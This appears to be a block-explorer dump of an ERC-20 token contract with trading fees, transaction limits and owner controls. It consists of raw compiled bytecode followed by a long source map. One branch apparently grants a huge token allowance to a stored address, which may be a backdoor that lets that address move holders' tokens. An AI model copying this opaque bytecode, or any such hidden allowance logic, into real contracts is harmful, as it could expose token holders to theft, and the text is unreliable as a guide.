ffff168152602001908152602001600020546136559092919063ffffffff16565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506138d182600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516139719190614401565b60405180910390a3600190509392505050565b601554811115806139de5750601a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b613a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613a1490615267565b60405180910390fd5b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603613b3157613a7e60016063613789565b6ec097ce7bc90715b34b9f100000000060056000601d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b6001601d60146101000a81548160ff0219169083151502179055506000613b8f6002613b81601454613b7360125487613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613ba682846136b990919063ffffffff16565b9050613bb181613fd9565b60004790506000613be2613bd16002601254613f8f90919063ffffffff16565b6014546136b990919063ffffffff16565b90506000613c206002613c1284613c0460125488613f1590919063ffffffff16565b613f8f90919063ffffffff16565b613f8f90919063ffffffff16565b90506000613c3782856136b990919063ffffffff16565b90506000811115613c6f57613c6e600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682614255565b5b600082118015613c7f5750600086115b15613cca57613c8e86836142a0565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561858388604051613cc193929190615287565b60405180910390a15b5050505050506000601d60146101000a81548160ff02191690831515021790555050565b60008060009050601b60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613d7657613d6f6064613d61600c5486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b9050613df4565b601b60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613df357613df06064613de260105486613f1590919063ffffffff16565b613f8f90919063ffffffff16565b90505b5b6000811115613ef857613e4f81600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461370390919063ffffffff16565b600460003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051613eef9190614401565b60405180910390a35b613f0b81846136b990919063ffffffff16565b9150509392505050565b6000808303613f275760009050613f89565b60008284613f3591906152be565b9050828482613f44919061532f565b14613f84576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613f7b906153d2565b60405180910390fd5b809150505b92915050565b6000613fd183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250614385565b905092915050565b6000600267ffffffffffffffff811115613ff657613ff5614cfe565b5b6040519080825280602002602001820160405280156140245781602001602082028036833780820191505090505b509050308160008151811061403c5761403b614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156140e3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906141079190614931565b8160018151811061411b5761411a614d2d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061418230601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016141e69594939291906153f2565b600060405180830381600087803b15801561420057600080fd5b505af1158015614214573d6000803e3d6000fd5b505050507f32cde87eb454f3a0b875ab23547023107cfad454363ec88ba5695e2c24aa52a7828260405161424992919061544c565b60405180910390a15050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561429b573d6000803e3d6000fd5b505050565b6142cd30601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684612e64565b601c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719823085600080614319612031565b426040518863ffffffff1660e01b815260040161433b9695949392919061547c565b60606040518083038185885af1158015614359573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061437e91906154f2565b5050505050565b600080831182906143cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016143c39190614566565b60405180910390fd5b50600083856143db919061532f565b9050809150509392505050565b6000819050919050565b6143fb816143e8565b82525050565b600060208201905061441660008301846143f2565b92915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061444c82614421565b9050919050565b61445c81614441565b811461446757600080fd5b50565b60008135905061447981614453565b92915050565b6000602082840312156144955761449461441c565b5b60006144a38482850161446a565b91505092915050565b6144b581614441565b82525050565b60006020820190506144d060008301846144ac565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156145105780820151818401526020810190506144f5565b60008484015250505050565b6000601f19601f8301169050919050565b6000614538826144d6565b61454281856144e1565b93506145528185602086016144f2565b61455b8161451c565b840191505092915050565b60006020820190508181036000830152614580818461452d565b905092915050565b614591816143e8565b811461459c57600080fd5b50565b6000813590506145ae81614588565b92915050565b600080604083850312156145cb576145ca61441c565b5b60006145d98582860161446a565b92505060206145ea8582860161459f565b9150509250929050565b60008115159050919050565b614609816145f4565b82525050565b60006020820190506146246000830184614600565b92915050565b6000819050919050565b600061464f61464a61464584614421565b61462a565b614421565b9050919050565b600061466182614634565b9050919050565b600061467382614656565b9050919050565b61468381614668565b82525050565b600060208201905061469e600083018461467a565b92915050565b6146ad816145f4565b81146146b857600080fd5b50565b6000813590506146ca816146a4565b92915050565b600080604083850312156146e7576146e661441c565b5b60006146f58582860161446a565b9250506020614706858286016146bb565b9150509250929050565b6000806000606084860312156147295761472861441c565b5b60006147378682870161446a565b93505060206147488682870161446a565b92505060406147598682870161459f565b9150509250925092565b6000602082840312156147795761477861441c565b5b6000614787848285016146bb565b91505092915050565b600060ff82169050919050565b6147a681614790565b82525050565b60006020820190506147c1600083018461479d565b92915050565b6000602082840312156147dd576147dc61441c565b5b60006147eb8482850161459f565b91505092915050565b6000806040838503121561480b5761480a61441c565b5b60006148198582860161459f565b925050602061482a8582860161459f565b9150509250929050565b600061483f82614421565b9050919050565b61484f81614834565b82525050565b600060208201905061486a6000830184614846565b92915050565b600080604083850312156148875761488661441c565b5b60006148958582860161446a565b92505060206148a68582860161446a565b9150509250929050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006148e66020836144e1565b91506148f1826148b0565b602082019050919050565b60006020820190508181036000830152614915816148d9565b9050919050565b60008151905061492b81614453565b92915050565b6000602082840312156149475761494661441c565b5b60006149558482850161491c565b91505092915050565b600060408201905061497360008301856144ac565b61498060208301846144ac565b9392505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806149ce57607f821691505b6020821081036149e1576149e0614987565b5b50919050565b7f43616e6e6f742073657420746f20616464726573732030000000000000000000600082015250565b6000614a1d6017836144e1565b9150614a28826149e7565b602082019050919050565b60006020820190508181036000830152614a4c81614a10565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656542757960008201527f206f72206c657373000000000000000000000000000000000000000000000000602082015250565b6000614aaf6028836144e1565b9150614aba82614a53565b604082019050919050565b60006020820190508181036000830152614ade81614aa2565b9050919050565b7f4d757374206b6565702066656573206174206d6178546f74616c46656553656c60008201527f6c206f72206c6573730000000000000000000000000000000000000000000000602082015250565b6000614b416029836144e1565b9150614b4c82614ae5565b604082019050919050565b60006020820190508181036000830152614b7081614b34565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000614bb1826143e8565b9150614bbc836143e8565b9250828201905080821115614bd457614bd3614b77565b5b92915050565b7f446973747269627574696f6e206e6565647320746f20746f74616c20746f203160008201527f3030000000000000000000000000000000000000000000000000000000000000602082015250565b6000614c366022836144e1565b9150614c4182614bda565b604082019050919050565b60006020820190508181036000830152614c6581614c29565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000614cc86026836144e1565b9150614cd382614c6c565b604082019050919050565b60006020820190508181036000830152614cf781614cbb565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000819050919050565b6000614d81614d7c614d7784614d5c565b61462a565b6143e8565b9050919050565b614d9181614d66565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b614dcc81614441565b82525050565b6000614dde8383614dc3565b60208301905092915050565b6000602082019050919050565b6000614e0282614d97565b614e0c8185614da2565b9350614e1783614db3565b8060005b83811015614e48578151614e2f8882614dd2565b9750614e3a83614dea565b925050600181019050614e1b565b5085935050505092915050565b6000608082019050614e6a6000830187614d88565b8181036020830152614e7c8186614df7565b9050614e8b60408301856144ac565b614e9860608301846143f2565b95945050505050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000614efd6024836144e1565b9150614f0882614ea1565b604082019050919050565b60006020820190508181036000830152614f2c81614ef0565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b6000614f8f6022836144e1565b9150614f9a82614f33565b604082019050919050565b60006020820190508181036000830152614fbe81614f82565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006150216025836144e1565b915061502c82614fc5565b604082019050919050565b6000602082019050818103600083015261505081615014565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006150b36023836144e1565b91506150be82615057565b604082019050919050565b600060208201905081810360008301526150e2816150a6565b9050919050565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b6000615145603f836144e1565b9150615150826150e9565b604082019050919050565b6000602082019050818103600083015261517481615138565b9050919050565b6000615186826143e8565b9150615191836143e8565b92508282039050818111156151a9576151a8614b77565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b60006151e5601b836144e1565b91506151f0826151af565b602082019050919050565b60006020820190508181036000830152615214816151d8565b9050919050565b7f5458204c696d6974204578636565646564000000000000000000000000000000600082015250565b60006152516011836144e1565b915061525c8261521b565b602082019050919050565b6000602082019050818103600083015261528081615244565b9050919050565b600060608201905061529c60008301866143f2565b6152a960208301856143f2565b6152b660408301846143f2565b949350505050565b60006152c9826143e8565b91506152d4836143e8565b92508282026152e2816143e8565b915082820484148315176152f9576152f8614b77565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b600061533a826143e8565b9150615345836143e8565b92508261535557615354615300565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b60006153bc6021836144e1565b91506153c782615360565b604082019050919050565b600060208201905081810360008301526153eb816153af565b9050919050565b600060a08201905061540760008301886143f2565b6154146020830187614d88565b81810360408301526154268186614df7565b905061543560608301856144ac565b61544260808301846143f2565b9695505050505050565b600060408201905061546160008301856143f2565b81810360208301526154738184614df7565b90509392505050565b600060c08201905061549160008301896144ac565b61549e60208301886143f2565b6154ab6040830187614d88565b6154b86060830186614d88565b6154c560808301856144ac565b6154d260a08301846143f2565b979650505050505050565b6000815190506154ec81614588565b92915050565b60008060006060848603121561550b5761550a61441c565b5b6000615519868287016154dd565b935050602061552a868287016154dd565b925050604061553b868287016154dd565b915050925092509256fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220f4f8fb55135af43db280e7ea000b73ac2e871dc17d4715a80146ece1dd42e33064736f6c63430008110033
Deployed Bytecode Sourcemap
30712:18666:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;31697:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41861:772;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35749:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37148:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31740:28;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31655:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32372:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36026:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31578:27;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32520:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40300:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;43115:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40140:113;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31401:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37662:128;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31870:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;37802:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;41281:369;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;35935:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36443:218;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40651:124;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32320:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31775:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32123:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38653:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;36134:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3813:148;;;;;;;;;;;;;:::i;:::-;;31536:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42687:76;;;;;;;;;;;;;:::i;:::-;;31972:47;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32026:45;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31495:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;38009:129;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38905:252;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;3514:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;35840:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36987:120;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31924:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36667:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;42940:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31819:44;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32420:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32180:52;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31201:92;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;36294:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31612:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;40839:365;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38341:111;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;39691:413;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38486:135;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;40475:102;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4116:244;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;38177:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;32078:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32560:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;48848:527;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;31300:94;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;32631:31;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;31697:36;;;;:::o;41861:772::-;41941:22;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;41978:35:::1;42035:16;41978:74;;42099:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42081:53;;;42143:4;42150:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42081:93;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42064:110;;42255:1;42229:28;;:14;:28;;::::0;42226:201:::1;;42319:16;:24;;;:26;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42301:74;;;42384:4;42391:16;:21;;;:23;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42301:114;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;42284:131;;42226:201;42453:14;42439:11;;:28;;;;;;;;;;;;;;;;;;42497:16;42479:15;;:34;;;;;;;;;;;;;;;;;;42569:4;42525:19;:41;42553:11;;;;;;;;;;;42525:41;;;;;;;;;;;;;;;;:48;;;;;;;;;;;;;;;;;;42621:4;42584:12;:34;42605:11;;;;;;;;;;;42584:34;;;;;;;;;;;;;;;;:41;;;;;;;;;;;;;;;;;;41965:668;41861:772:::0;;;:::o;35749:83::-;35786:13;35819:5;35812:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35749:83;:::o;37148:161::-;37223:4;37240:39;37249:12;:10;:12::i;:::-;37263:7;37272:6;37240:8;:39::i;:::-;37297:4;37290:11;;37148:161;;;;:::o;31740:28::-;;;;:::o;31655:35::-;;;;:::o;32372:41::-;;;;;;;;;;;;;:::o;36026:100::-;36079:7;36106:12;;36099:19;;36026:100;:::o;31578:27::-;;;;:::o;32520:33::-;;;;:::o;40300:135::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40421:6:::1;40391:19;:27;40411:6;40391:27;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;40300:135:::0;;:::o;43115:313::-;43213:4;43230:36;43240:6;43248:9;43259:6;43230:9;:36::i;:::-;;43277:121;43286:6;43294:12;:10;:12::i;:::-;43308:89;43346:6;43308:89;;;;;;;;;;;;;;;;;:11;:19;43320:6;43308:19;;;;;;;;;;;;;;;:33;43328:12;:10;:12::i;:::-;43308:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;43277:8;:121::i;:::-;43416:4;43409:11;;43115:313;;;;;:::o;40140:113::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40237:8:::1;40218:16;;:27;;;;;;;;;;;;;;;;;;40140:113:::0;:::o;31401:81::-;;;:::o;37662:128::-;37715:7;37742:40;37759:22;37769:11;37759:9;:22::i;:::-;37742:12;;:16;;:40;;;;:::i;:::-;37735:47;;37662:128;:::o;31870:47::-;;;;:::o;37802:87::-;37842:7;37869:12;37862:19;;37802:87;:::o;41281:369::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;41393:1:::1;41371:24;;:10;:24;;::::0;41363:60:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;41466:4;41434:17;:29;41452:10;41434:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;41519:5;41481:17;:35;41499:16;;;;;;;;;;;41481:35;;;;;;;;;;;;;;;;:43;;;;;;;;;;;;;;;;;;41576:16;;;;;;;;;;;41540:53;;41564:10;41540:53;;;;;;;;;;;;41631:10;41604:16;;:38;;;;;;;;;;;;;;;;;;41281:369:::0;:::o;35935:83::-;35976:5;36001:9;;;;;;;;;;;35994:16;;35935:83;:::o;36443:218::-;36531:4;36548:83;36557:12;:10;:12::i;:::-;36571:7;36580:50;36619:10;36580:11;:25;36592:12;:10;:12::i;:::-;36580:25;;;;;;;;;;;;;;;:34;36606:7;36580:34;;;;;;;;;;;;;;;;:38;;:50;;;;:::i;:::-;36548:8;:83::i;:::-;36649:4;36642:11;;36443:218;;;;:::o;40651:124::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40759:8:::1;40733:23;:34;;;;40651:124:::0;:::o;32320:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;31775:35::-;;;;:::o;32123:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;38653:244::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;38750:45:::1;38765:14;38781:13;38750:14;:45::i;:::-;38830:14;;38814:12;;:30;;38806:83;;;;;;;;;;;;:::i;:::-;;;;;;;;;38653:244:::0;;:::o;36134:119::-;36200:7;36227:9;:18;36237:7;36227:18;;;;;;;;;;;;;;;;36220:25;;36134:119;;;:::o;3813:148::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3920:1:::1;3883:40;;3904:6;::::0;::::1;;;;;;;;3883:40;;;;;;;;;;;;3951:1;3934:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;3813:148::o:0;31536:35::-;;;;:::o;42687:76::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;42751:4:::1;42737:11;;:18;;;;;;;;;;;;;;;;;;42687:76::o:0;31972:47::-;;;;:::o;32026:45::-;;;;:::o;31495:34::-;;;;:::o;38009:129::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;38122:8:::1;38098:12;:21;38111:7;38098:21;;;;;;;;;;;;;;;;:32;;;;;;;;;;;;;;;;;;38009:129:::0;;:::o;38905:252::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;39006:46:::1;39022:14;39038:13;39006:15;:46::i;:::-;39088:15;;39071:13;;:32;;39063:86;;;;;;;;;;;;:::i;:::-;;;;;;;;;38905:252:::0;;:::o;3514:79::-;3552:7;3579:6;;;;;;;;;;;3572:13;;3514:79;:::o;35840:87::-;35879:13;35912:7;35905:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;35840:87;:::o;36987:120::-;37049:7;37076:23;;37069:30;;36987:120;:::o;31924:39::-;;;;:::o;36667:269::-;36760:4;36777:129;36786:12;:10;:12::i;:::-;36800:7;36809:96;36848:15;36809:96;;;;;;;;;;;;;;;;;:11;:25;36821:12;:10;:12::i;:::-;36809:25;;;;;;;;;;;;;;;:34;36835:7;36809:34;;;;;;;;;;;;;;;;:38;;:96;;;;;:::i;:::-;36777:8;:129::i;:::-;36924:4;36917:11;;36667:269;;;;:::o;42940:167::-;43018:4;43035:42;43045:12;:10;:12::i;:::-;43059:9;43070:6;43035:9;:42::i;:::-;;43095:4;43088:11;;42940:167;;;;:::o;31819:44::-;;;;:::o;32420:26::-;;;;;;;;;;;;;:::o;32180:52::-;;;;;;;;;;;;;;;;;;;;;;:::o;31201:92::-;;;;;;;;;;;;;:::o;36294:143::-;36375:7;36402:11;:18;36414:5;36402:18;;;;;;;;;;;;;;;:27;36421:7;36402:27;;;;;;;;;;;;;;;;36395:34;;36294:143;;;;:::o;31612:34::-;;;;:::o;40839:365::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;40950:1:::1;40928:24;;:10;:24;;::::0;40920:60:::1;;;;;;;;;;;;:::i;:::-;;;;;;;;;41023:4;40991:17;:29;41009:10;40991:29;;;;;;;;;;;;;;;;:36;;;;;;;;;;;;;;;;;;41075:5;41038:17;:34;41056:15;;;;;;;;;;;41038:34;;;;;;;;;;;;;;;;:42;;;;;;;;;;;;;;;;;;41131:15;;;;;;;;;;;41096:51;;41119:10;41096:51;;;;;;;;;;;;41185:10;41158:15;;:38;;;;;;;;;;;;;;;;;;40839:365:::0;:::o;38341:111::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;38433:11:::1;38418:12;:26;;;;38341:111:::0;:::o;39691:413::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;39839:17:::1;39811:25;:45;;;;39896:18;39867:26;:47;;;;39981:26;;39953:25;;:54;;;;:::i;:::-;39926:24;:81;;;;40054:3;40026:24;;:31;40018:78;;;;;;;;;;;;:::i;:::-;;;;;;;;;39691:413:::0;;:::o;38486:135::-;3736:12;:10;:12::i;:::-;3726:22;;:6;;;;;;;;;;:22;;;3718